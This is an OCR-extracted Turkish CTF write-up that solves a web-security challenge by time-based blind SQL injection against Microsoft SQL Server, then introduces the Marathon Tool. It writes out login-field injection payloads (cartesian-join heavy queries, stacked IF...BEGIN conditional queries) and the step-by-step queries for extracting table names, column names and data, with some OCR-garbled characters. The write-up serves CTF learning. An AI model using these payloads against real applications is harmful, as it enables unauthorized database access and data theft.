CTF.v6’nin Céziimii ve Pratik Bir Veri Cikartma Araci

Hedef
http://ctf.webguvenligi.org/ adresinden Giris baglantisi ile girilen uygulamanin veritabani baglanti

climlecigini ele gegirmek.

Yaklagim

Onceki CTF'leri takip edenler bilir, bu tip uygulamalarda Giris alanlarini gecebilmek ve/ya buradan
bilgi sizdirabilmek igin kullanilabilecek en etkili yontem SQL Injection’dir. Tabi, bu kullanici adi sifrenin
kolay tahmin edilebilir ya da bir yerlerde yaziyor olmadigini varsayarsak. Peki bu Injection’t nasil
kesfedecegiz, nasil kullanacagiz ve sonuca nasil ulasacagiz?

Agir Sorgularla Zaman Tabanh Koér SQL Enjeksiyonu

SQL Injection saldirisi denemelerinde eger sunucudan elle tutulur herhangi bir cevap alinamiyorsa,
verinin kendisi veya comert hata sayfalari gibi, bir baska deyisle sunucudan dénen cevap hep ayni
hata sayfasi ise uygulanabilecek saldiri ydntemi sayisi oldukga azaliyor. Dogrudan verinin kendisine
ulasamadiginiz bu saldiri “kér” olarak adlandirilirken, dolayli olarak ulasmamizi saglayacak olan
yontem de sunucunun cevap siiresindeki(response time) degisikliklerin takibi ile mimkiin olmaktadir.

Agir Sorgu

Eger sunucu tarafinda galisan SQL climlecigini manipiile edebiliyorsaniz, sunucuda zaman alan SQL
sorgulari calistirmayi deneyebilir, eger basarili olunursa bu agir sorgularin calismasi dogru/yanhs
climlelerine baglanarak istedigimiz veriyi elde etmemizi saglayabilir. Ornek vermek gerekirse
asagidaki sorgu:

SELECT COUNT(*) FROM sysusers AS S1, sysusers AS S2, sysusers AS S3, sysusers AS S4, sysusers AS
S5, sysusers AS S6, sysusers AS S7, sysusers AS S8

sysusers tablosunu kendisi ile 8 defa JOIN ederek veritabani sunucusunu oldukga bliylk bir Kartezyen
carpimina zorlar ve veritabaninin bu sorgunun sonucu olan sayiyi bulmasi epey sire alir.

Coklu Sorgu Yontemi

Agir sorgulari veri ¢ikariminda kullanmanin birden fazla yontemi vardir. Cok glivenilir olmadigindan
Gzerinde durmayacagimiz yontem sorgu optimizasyonu ile sirasinda WHERE klozunda yazilan
kosullarda kisa-yol uygulanmasi. Ozetle, birbirine AND ile baglanmis olan kosullardan kisa zaman
alacak olani veritabaninin 6nce calistirarak kosulun yanhs olmasi durumunda diger kosullari
calistirmadan sonucun bulunmasi demektir. Fakat bu yontemde veritabani optimizasyonuna
bagimhlik yiksektir. Bu ylzden biz, veritabanimiz da Microsoft SQL Server oldugundan ve ¢oklu sorgu
calistirilmasina miisait oldugundan Coklu Sorgu yéntemini kullanacagiz. Ornegin enjeksiyon
yapacagimiz string;

‘s SELECT * FROM sysobjects;--

gibi olacak olup birden fazla sorgu veritabaninda g¢alistirilacaktir.


http://ctf.webguvenligi.org/

Enjeksiyon
Yukarida bahsedilen iki yontemi bir araya getirecek olursak, enjeksiyon yapmamiz gereken sorgu
asagidaki gibi olacaktir:

“ IF kosullu_sorgu BEGIN agir_sorgu END

Bu coklu sorgunun c¢alisma siiresinden kosullu sorgumuzun cevabinin dogru veya yanlis oldugunu
cikartabiliriz. Yani su durumda veritabanina istedigimiz dogru/yanhs sorusunu sorabiliyor, dogru
cevabi veritabanindan gikartabiliyoruz.

Neler Ogrenebiliriz
Yukaridaki yontem kullanilarak veritabanindan hemen her tiirli bilgiyi ¢ikartmamiz mimkindir.
Ornegin;

(SELECT COUNT(*) FROM sysobjects WHERE xtype="u’) < n
Kosullu sorgusunu kullanarak ve yeteri kadar sorgu yaparak veritabaninda kullanici tanimli tablo
sayisini ¢cikartabiliriz.

Tablo ismi icin sirasiyla:
(SELECT TOP 1 Id FROM sysobjects WHERE xtype="u’) < n => tablo id’si
(SELECT LEN(name) FROM sysobjects WHERE Id = @Id) < n => tablo id’si ile isim uzunlugu
(SELECT ASCII(SUBSTRING(name, 1,1)) FROM sysobjects WHERE id = @Id) < n => tablo isminin
ilk harfi
Degerlerini bularak tablo ismini ve yine benzer yontemler kullanarak tablodaki verileri veritabanindan
cikartabiliriz.

CTF.v6 Coziimii
Yukarida bahsedilen metotlari birer birer kullanacak olursak eger;

1. SQL Injection Kesfi:

Kullanict Adi : admin

Parola ') AND (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, Ssysusers as sys3,
sysusers AS sys4, sysusers AS sys5, sysusers AS sysb6, sysusers AS sys7, sysusers AS sys8)>1--

2. Coklu Sorgu Yapisi & Veri Cikarma

ihtiyacimiz olan her sey elimizde olduguna gore, veritabanindaki tablo sayisi ile veri ¢ikarma islemine

baslayabiliriz:
Kullanicit Adi :admin
Parola :‘); IF (SELECT COUNT(*) FROM sysobjects WHERE xtype="u’) > 1 BEGIN SELECT

count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS
sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8 END--



kullanici adi, parola ile giris yapmaya ¢alistigimizda sunucudan geg cevap alirken kosullu sorguyu
tablo sayisi buyuktlr 2 yaptigimizda sunucunun hemen cevap verdigini gorebiliriz. Boylelikle
veritabaninda 2 adet tablo oldugunu anlamis oluruz.

Bu sekilde veritabaninin bitiininin semasini cikartmak miimkiindur ve sirasiyla, tablo id’leri, tablo
isimleri, tablo kolon sayilari, tablo kolon isimlerini ¢cikarttiktan sonra tablonun icerisindeki veriye
ulasmamiz mimkin olacaktir.

Bu veri gikarma islemleri igin gerekli olan SQL ciimleleri sirasiyla:

e (SELECTTOP 1 Id FROM sysobjects WHERE xtype="u’) < n => tablo id’leri

e (SELECT LEN (name) FROM sysobjects WHERE id = @Id ) < n => ilgili tablo isim uzunlugu

e (SELECT ASCII(SUBSTRING(name, 1, 1)) FROM sysobjects WHERE id = @Id) < n => ilgili tablo
ismi

e (SELECT COUNT(*) FROM syscolumns WHERE id = @Id) < n => ilgili tablo kolon sayisi

e (SELECT MIN(colid) FROM syscolumns WHERE id = @Id AND colid > @colld) < n => ilgili tablo
kolon id’leri

e (SELECT LEN(name) FROM syscolumns WHERE id=@Id AND colid =@colid) < n => ilgili tablo
ilgili kolon isim uzunluklari

e (SELECT ASCII(SUBSTRING(name, 1, 1)) FROM syscolumns WHERE id = @Id AND
colid=@colid) < n => ilgili tablo ilgili kolon isimleri

e (SELECT TOP 1 ASCII(SUBSTRING(@colname, 1,1)) FROM @tablename) < n => ilgili tablonun
ilgili kolonundaki veri

SQL Injection stringini kesfettikten sonra sonuca ulasmam yaklasik 4 saatimi aldi. Sonra Marathon
Tool ile karsilastim.

Zaman Tabanl Kor SQL Enjeksiyonu icin Pratik bir Arag: Marathon Tool

DEFCON 16’da Chema Alonso ve Jose Parada tarafindan sunulmus bu araca [1]
http://marathontool.codeplex.com sitesinden erisebilirsiniz.  Asagidaki gibi bir arayizle

karsilasacaginiz bu arag sayesinde CTF.v6 uygulamasinin veritabani semasi, diizglin konfigiirasyonla,
yaklasik yarim saat icerisinde c¢ikartilabiliyor.

Bu arac¢ halihazirda uygulamada yalnizca sema tablolarinin kolon isimlerini ¢ikartabiliyor. Fakat acik ve
temiz kaynak kodlu olmasindan dolayi, ¢oklu sorgu ile calisacak ve Microsoft SQL Server verisini
ctkartacak hale getirmek oldukga basit. Tek handikapi VB. NET ile gelistirilmis olmasi ©


http://marathontool.codeplex.com/

File  Help

| Corfiguration | Database schema | Debuglog |

Basic configuration

Database engine: [Mmsoﬂ SQL Server

Get @ Post [ ] SSL

Target base URL: |http://df.locahost/Logh.aspx | [ 0K ]
Name Value Injectable
: __VIEWSTATE /WEPDwWUKMTULMjAOMzMyOWRk SEFC213aMkcWERM15uM...
__EVENTVALIDATION | /wEWBALYr Tk BwLby5yFDgKn2rDICwKC3leGDK10mTVimW...
btnLogin Giris Yap
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Start injection with: |')

l End injection with: |-

Injection options
Min. heavy query time:
HTTP request timeout:
Pause after heavy query

Pause after any query
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Repeat tests count: 2

Min. joins for queries: 3

Max. joins for queries:

[] Enable equal sign in selects

Use multiple queries

sys.databases, sysusers
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